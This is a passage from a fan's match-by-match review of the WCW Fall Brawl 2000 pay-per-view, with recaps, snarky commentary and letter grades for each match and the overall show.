He hits a springboard X Factor to get the hot tag to AWOL who cleans house. Moore hits a nice flip to put Cajun down and we let the high spots loose. AWOL gets knocked through a table (his signature thing) but not before holding Moore up off the ground purely by his hair. Everything goes insane and Leroux hits Helms with what we would more or less call Cradle Shock for the pin. They get a standing ovation for it and that’s what they deserved.

Rating: B. I REALLY liked this. There was no interference, there was nothing completely insane, the effort was there and the wrestling was there. What a shock that when you put all this together, you get a good match. Worst thing is I can more or less guarantee this is the high point of the show.

The old guys won’t give a kid an autograph. That’s WCW for you. Madden gets a line in about Nash carrying people. I laugh sadly…..point to this?

Harris Brothers vs. Kronik

And there goes the quality of the show. This is first a chain match, as in they’re attached by a strap. The twins (Harris Brothers/Disciples of Apocolypse/Creative Control/Blu Brothers etc) cost Kronik the belts last month. Adams makes it a first blood match, because gimmicks added on for no apparent reason other than to keep an old guy from having to get pinned and therefore lose credibility TOTALLY RULE!

Dave Penzer, the announcer, gets knocked out like a minute in. We go out into the crowd and this is already a mess. As I’m typing this I can see the review of the previous match and it makes me sad. That and even the previous match were good. This is just annoying and is going to mean nothing at all in the end. Hudson talks about how brutal this is and how it’s going to be violent. We’re less than three minutes in and he’s right: it’s brutal.

One of the Harris guys works on Clark’s knee in a first blood match for reasons of general idiocy. We get choking, which even Tony calls out as stupid. And we have a ref bump in a gimmick match. One of the Harrises is bleeding but there’s no referee of course. The chain is undone and Hudson suggests he’s on his period instead of being busted open. END THIS. Yeah the blood is wiped off and Adams is bleeding when the referee gets back up so Kronik loses. Kronik beats up the referee to be faces.

Rating: F+. Well seven minutes have passed and nothing of note has changed. These two feuded forever and no one cared at all. We went from good stuff to this, which like I said shouldn’t surprise anyone. Get to the next thing.

General Rection tries to do a big patriotic promo which would work a lot better if he wasn’t destined to have Jim Duggan turn on him since he’s the special enforcer.

US Title: General Rection vs. Lance Storm

Storm cuts a great heel promo about how great Canada is. He was AWESOME at this point and more or less could do no wrong on the mic. He would just get out there and be this pompous jerk but was so proud of being Canadian and no one could beat him, making him awesome. And here’s Duggan to be all patriotic. Great to see that white shirt under his referee shirt. I’m sure that will mean nothing at all.

Rection dominates to start and Storm is in trouble. Also Major Gunns has been kidnapped by Team Canada so she’s freed if Rection wins here. They say that the General could be a superstar. That’s just amusing. He’s more commonly known as Bill DeMott if the comedy name isn’t familiar to you. Storm hits a superkick that was on target but didn’t look painful at all.

Rection hits a sitout gutwrench powerbomb (spellcheck hates that sentence) for no cover. Storm gets up and goes after the knee. Duggan throws Storm back into the ring and gets up on the apron while the General goes for the moonsault. And say it with me: Duggan is Canadian. Storm gets the win while Rection is out cold in the Mapleleaf. MIA runs out and Duggan beats them down.

Rating: D+. This wasn’t horrible, but the turn might as well have had a big sign over it saying HEEL TURN COMING. Rection would wind up winning the title at the next two PPVs while no one cared about it nor were they watching. This didn’t go anywhere though and it’s only because of Storm’s pure awesomeness at this point that it gets this much. That and Gunns in those shorts. I mean DANG.

Gene (wearing glasses now) talks to the Natural Born Thrillers. Sanders imitates Konnan so Gene calls them various bad names and tells them to blow it. Sanders was very good on the mic.

Filthy Animals/Big Vito/Paul Orndorff vs. Natural Born Thrillers

Filthy Animals: Konnan, Rey Mysterio, Disco Inferno, Juventud Guerrera, Tygress (female manager)

Natural Born Thrillers: Mark Jindrak, Sean O’Haire, Mike Sanders, Chuck Palumbo, Shawn Stasiak, Reno, Johnny the Bull

This is elimination style. Yes it’s that Paul Orndorff. He trained most of the Thrillers in the Power Plant (the same place that said one Dave Bautista had no future in wrestling) and he drew about 15 years ago so he’s PERFECT here. Orndorff is a mystery partner here. He SHOCKS the Thrillers. OH NO! IT’S ON OVER THE HILL OVERRATED GUY THAT HASN’T MEANT A FREAKING THING SINCE WE WERE IN 5TH GRADE! Wait….this is WCW and he’s over fifty…..WE’RE SCREWED!!!

Stasiak goes on commentary for no apparent reason. Konnan makes gay jokes and introduced Orndorff. Wow this is so completely overhyped. No one cheers either. They just kind of breathe. Also, we get to see a 51 year old man that looks about twice that old in lime green tights. Rock on brother man.

This was billed as 6-6 but there are so many people that a lot have to drop to the floor, making it look like 4-4. Rey and Juvy are tag champions as I try to fill space. Ok apparently they aren’t….they just have the belts for the second straight PPV in a row. Rey tags in Juvy to absolutely NO reaction. I wasn’t looking at the screen and didn’t even notice it. Normally you get a sound from the crowd to let you know that something happened but there was NOTHING here.

O’Haire hits a Falcon’s Arrow to take down Juvy who of course is fine like 4 seconds later. Vito, the big guy on the team I guess, beats up Jindrak and is only there for Johnny. And here’s Disco to again complete silence. Oh never mind they think that he, a face, sucks. Jimdrak, a guy about 6’5, can’t get a dropkick past the ribs of Disco who is about 6’0. Ok Konnan is in the match despite sitting on the floor so far.

Konnan crashes into Disco so Disco accidentally hits him with the Last Dance (Stunner) to eliminate him. Shawn says five to go, implying 6-6 to start. Disco can’t get anyone to tag him in so Vito punches him and Reno Rolls the Dice to end him and make it 6-4 I guess. Vito hits an Edgecution on Palumbo for two. Bull hits Vito in the head with a kendo stick and a Roll of the Dice (rolling cutter, Cross Roads) ends him.

That leaves it as Juvy, Rey and Orndorff left, so Madden suggests that Tygress is on the team too. So then Tony says it’s 6-2 as Orndorff is there for…..oh screw it let’s just get this over with. Guerrera hits a flying…..something to Reno. Tony calls it a body attack which sounds like something from Mortal Kombat. Juvy Driver and WHAT’S UP on Reno makes it however many vs. however many. Oh and over ten minutes in and I think there are 4 people that haven’t even been in yet.

Rey and Juy apparently ARE the tag champions here. Tony said they weren’t 8 minutes ago and now they are. My goodness I know WCW at this time is called insane but I’ve always thought it was overhyped. In this match alone, about ten minutes long at this point, we can’t establish how many original participants there were in this match, we’ve gotten three different answers as to how many people are left on one of the teams at this point, and we don’t even know if two guys are tag team champions? Ok according to Wikipedia they are the champions but are forced to forfeit them tomorrow for no given reason. Now why can I establish that and the paid announcers can’t?

The fans hate Tygress all of a sudden as Juvy’s plancha is just caught. And then HOKEY SMOKE O’Haire and Jindrak LAUNCH Juvy from the floor into the ring off a double hip toss. That looked incredible. A Swanton Bomb ends Juvy…..and here’s Orndorff. Of course he beats up all the young guys but a kendo stick takes care of him. He hits a bad piledriver to get rid of Johnny the Bull.

Rey and Tygress (now on the apron) just let Orndorff get double teamed and do all the work. Sanders hasn’t been in yet. He of course beats up Jindrak and O’Haire on his own, making them look completely weak in the process. He goes to piledrive Jindrak and of course gets hurt coming down, giving himself a stinger (same thing that happened to Austin in 97 off the Owen piledriver) and O’Haire quickly covers him for the pin because of the injury.

Rey and Tygress I guess don’t get that he’s really hurt and keep going on Jindrak. After a pair of Bronco Busters we get the idea so they beat up Sanders and Palumbo to keep the crowd into it I guess. Pay no attention to the fact that they’re landing around Paul’s legs or anything like that. And they stop the match because of the injury. They would conclude it the next night where Rey and Tygress would beat five guys on their own.

Rating: F. There should be two ratings here. The match itself was entertaining and was about a B/B-, but to let a guy in there that was 51 years old and had retired because of a neck injury and then, shocking no one with a brain, hurts his neck in his first match back in like 5 years is simply irresponsible. I don’t care if he swears up and down that he’ll be ok or whatever. You don’t let him into the ring with his neck hurt like that, and this is why.

He wasn’t even taking a bump and he got hurt. Imagine what would have happened if he had been taking am ove and got hurt like this. There is just no way you can validate letting Orndorff go out there. It didn’t sell any more shows because he wasn’t even announced, so this comes off as just irresponsible by WCW and there’s no way that is ok in my mind.

Kidman and Madusa talk about their scaffold match. Yeah this is a perfect place to go after what just happened, but at the same time that wasn’t planned. Madusa threatens to demoralize her. What the heck does that even mean?

Shane Douglas/Torrie Wilson vs. Madusa/Billy Kidman

The scaffold is over the stage here which I’m sure is completely safe. Also instead of putting them on the scaffold which starts on the ground and is raised up, they have to climb and waste more time. Douglas promises to pay everyone’s money back if the faces don’t get thrown. This is a Pittsburgh PLUNGE match, but apparently you win by crossing and climbing down. Sure why not. Kidman and Madusa don’t get entrances and just walk out and get on.

Tony tells Madden to get his jokes in so Tony can sell the match. Egads man. Tony insists it’s still going up when you can tell it’s perfectly still. The scaffold here is at least fairly wide to the point where they can walk side by side on it. That’s a LOT better than previous kinds. You know it’s a good thing we have those VIDEO screens to show the Fall Brawl logo so we know what show this MATCH is on.

The girls sprint off to get down the other side and are all alone so they just stand there. Kidman and Shane have a match up there with counters and a Sky High powerbomb and then the Franchiser (modified Stunner) on Kidman. And then Shane kicks Madusa down the ladder so that she crashes down. Now since she didn’t climb down, she doesn’t win. Oh give me a break.

Shane beats up Kidman and has him down so Torrie comes back over and waits for him to make his comeback and then hits him low so Shane can throw Kidman off the scaffold and onto the crash pad below. Once someone reminds them which way to go, the heels win. Yep, Shane Douglas is pushed over Kidman. Do I even need to explain why this was bad?

Rating: F+. How do you really grade one of these? It was maybe five minutes long and went nowhere. Shane made Kidman look freaking pathetic here and that doesn’t surprise me at all. Shane was in the downside of his career and Kidman was a guy with potential. Of course he lost. Whatever, and at least Torrie looked incredible.

Sting talks about his three way with Muta and Vampiro. Oh and he has a world title match tomorrow night. Jeff Jarrett jumps him for no apparent reason.

Mike Tenay goes to David Flair’s house to talk to him about the wedding that didn’t work. He was supposed to marry Stacy since she was pregnant and it turned out the baby wasn’t his. We never found out who it was but it allegedly was going to be Ric Flair and would wind up being some kind of incest angle, or Russo because clearly a 20 year old Stacy would screw him.

David is losing his mind and his place is covered in trash and pizza boxes so he lights up a cigarette but throws it away because it’ll kill him. David goes paranoid and thinks that his brother Reed, who is 11, is the dad. He goes to the window a bunch of times where he says the father is here. And then he doesn’t do anything about it.

I didn’t order this PPV and I think this aired on TV later because I’ve seen this before. David sprints to the door and says the father is here so he runs outside and beats up the mailman, putting him in the figure four on the front lawn. There also was a camera waiting on the camera guy as he was I guess coming across the street. What a coincidence eh?

Sting vs. Great Muta vs. Vampiro

ICP is with the heels here who come out together. The clowns are on commentary here. They talk about JCW and I get it now. Maybe I did get this PPV but I could have sworn they did commentary on Thunder too. The commentary is funny to a degree but it gets old fast. They beat on Sting for awhile but they fight after Muta goes for a pin and Vampiro doesn’t like it. This is definitely a different match than the one I remember. Sting gets a bat and hits the Death Drop on Muta for the pin. There was nothing else of note to talk about here. The clowns and Vampiro beat up Muta and Sting makes the save.

Rating: D-. At least it was short I guess and the commentary made me laugh once or twice. This feud was just never going to stop and no one at all cared about it. Granted that might be because of Vampiro and the fact that no one knew who Muta was because WCW never told us that but whatever.

Mike Awesome, in 70s clothes and a Partridge Family bus, shows up with a surprise: it’s Gary Coleman. Sadly he gets one of the biggest pops of the night. They do a terrible comedy bit with Pamela Paulshock who was drop dead gorgeous.

Jeff Jarrett vs. Mike Awesome

This is a bunkhouse brawl, meaning hardcore match. There are Buffalo Bills at ringside and Jarrett wears a Titans jersey to be a jerk. He makes bad football jokes and this goes dead fast. There are weapons in the ring and Awesome brings his own table. The announcers say that Jarrett is the favorite in this match. We have ropes and wheelbarrows here as you can hear Dusty jacking off to this.

There are nooses around the ropes and a table covered in barbed wire. This is Jarrett’s specialty match in case you didn’t know. Why is it his specialty match? Well no one knows but whatever. It starts out as just a weapons match with nothing at all special about it. Jarrett backdrops Awesome from the middle rope through a table just to be mean. Jarrett goes into the barbed wire table twice and then a sitout powerbomb gets two.

After the Awesome Splash misses, Jarrett yells at the Bills some more. And here they come, surrounding the ring while security does nothing at all. They shove him into Awesome and the powerbomb gets….two. I know the ending to this match and I thought the match was ending there. Not because it was a close pin or anything but because there was no reason at all for it to continue other than the inevitable Gary Coleman stuff that you know is coming.

And here he is. The Bills let Jarrett get a guitar and Coleman just walks into the ring and low blows Jarrett who them just kills him with the guitar. NOW FREAKING STING IS HERE to beat up Jarrett so that Awesome can FINALLY win. So let’s see: Mike Awesome, Gary Coleman, Sting and THE BUFFALO BILLS ended this. How much do you think all this cost?

Rating: D. I almost hat to type Gary Coleman sold the guitar shot. Did someone think this was going to help business somehow? Did someone think this was going to be funny? I mean eas there a point to this at all? If there was I don’t get it. The hardcore stuff was ok here though, but the match was just WAY too much to be good.

Scott Steiner says he’ll beat Goldberg here because he has big muscles.

Scott Steiner vs. Goldberg

This is just a grudge match and I guess Goldberg is a face here. No DQ here either. Steiner has to wear a mask because Goldberg broke his face or something. We’re told about how even these two are which is odd but makes sense at the same time. Scotty busts out a Diamond Cutter for two. Ok then. Steiner tries to hide and that doesn’t go well at all for him.

They’re doing the clash of the titans build here and for the most part it’s working. And here’s Midajah, which is supposed to be a big deal I guess. Goldberg is bleeding from some chair shots. She’s just standing there for no apparent reason. Oh ok Goldberg accidentally put her through a table. Steiner hits a belly to belly where Goldberg lands on his head and nearly breaks his neck. There’s the spear. We have a lead pipe in there too which I’m sure will have something to do with the ending.

And it’s Vince Russo to bash Goldberg with a baseball bat. Sure why not. It only gets two though and Bill goes through a table. Steiner Recliner, which looks awful since Steiner doesn’t know how to hook it right, doesn’t work as Goldberg picks him up. This is the match where they just hammer each other with no real rhyme or reason. That doesn’t mean it’s bad though as that’s what this is supposed to be. Think Awesome vs. Tanaka.

Back to the Recliner which would look a lot better if it wasn’t just Goldberg crawling on his hands and knees (yeah the arms aren’t even pulled back) to the ropes. A chair is brought in and nothing happens with it. Russo comes in AGAIN but Steiner pops Goldberg in the head with a lead pipe and the Recliner gets the win on the unconscious Goldberg. Oh and Russo does the Jericho cover on him to end it. The Bills come in again to help Goldberg. More on Russo in the overall rating.

Rating: B-. This was about being a big old fight and that’s all it was supposed to be. We didn’t need to have real wrestling here and they didn’t try. I could have done without Russo here but at the same time this match oddly worked. This was probably a #1 contenders match of some sort too.

Booker says he’ll get the title back. Nash booked himself to win the title for about three weeks so he could defend coming into this.

WCW World Title: Booker T vs. Kevin Nash

Dang there are some attractive women in Buffalo. This is a cage match. We get a Scott Hall reference, even though Hall was long since gone at this point. No waiting at all as we’re starting to run out of PPV time. The cage looks extra tall here which is allegedly 12 feet high which is believable here. The camera is weird here as it’s outside and we keep looking up at the guys.

We’re told that Orndorff had a stinger but is talking and has movement in all of his limbs. That’s always good to hear. Nash is actually moving a bit in there. He takes the buckle pad off as Tony, much like Billy Graham did 12 years ago, asks why you need to do that when you have a cage around you. Axe Kick puts Nash down as apparently him slamming Nash is a big deal.

They’re flying through this match with no transitional stuff at all. Nash is bleeding here. RONCO REFERENCE! Yeah that has nothing to do with wrestling but I have a thing for infomercials so there we go. We’re told Nash has a lot of heart. Uh…sure. Jackknife is blocked into the Book End for the title for Booker.

Rating: C-. This FLEW by and felt like a Nitro main event rather than a PPV main event. Goldberg vs. Steiner likely should have closed the show but I can get that they wanted to make the world title seem important. This wasn’t anything all that great at all but for once one champion lost the title to another guy clean and simple. What more can you ask for? Booker would hold the title for 8 days, so it’s not like this meant much in the long run.

Overall Rating: B-. This was a rather good show. The problem is this is pretty much the best show for WCW in their last 15 months or so. The elimination match would have been a lot better had it not been for the injury and while I still wouldn’t have liked Orndorff getting in there even if he hadn’t gotten hurt, the injury is what made that match fall apart so you can’t blame the wrestlers for it.

The scaffold match was really short so that didn’t hurt things too much. This isn’t a classic or anything but it’s definitely watchable as they toned down the insanity a lot and the show is completely coherent with nothing overly bad that goes more than say five minutes.

The most important thing here is simple: there’s a point to everything on the card. Nothing here is insane or just thrown on there, which is the point of a PPV. If you want a taste of what WCW could do around this time, this is your best chance. And then it means nothing at all as Vince Russo would win the world title 8 days later on Nitro, killing anything the company had left for it.

 

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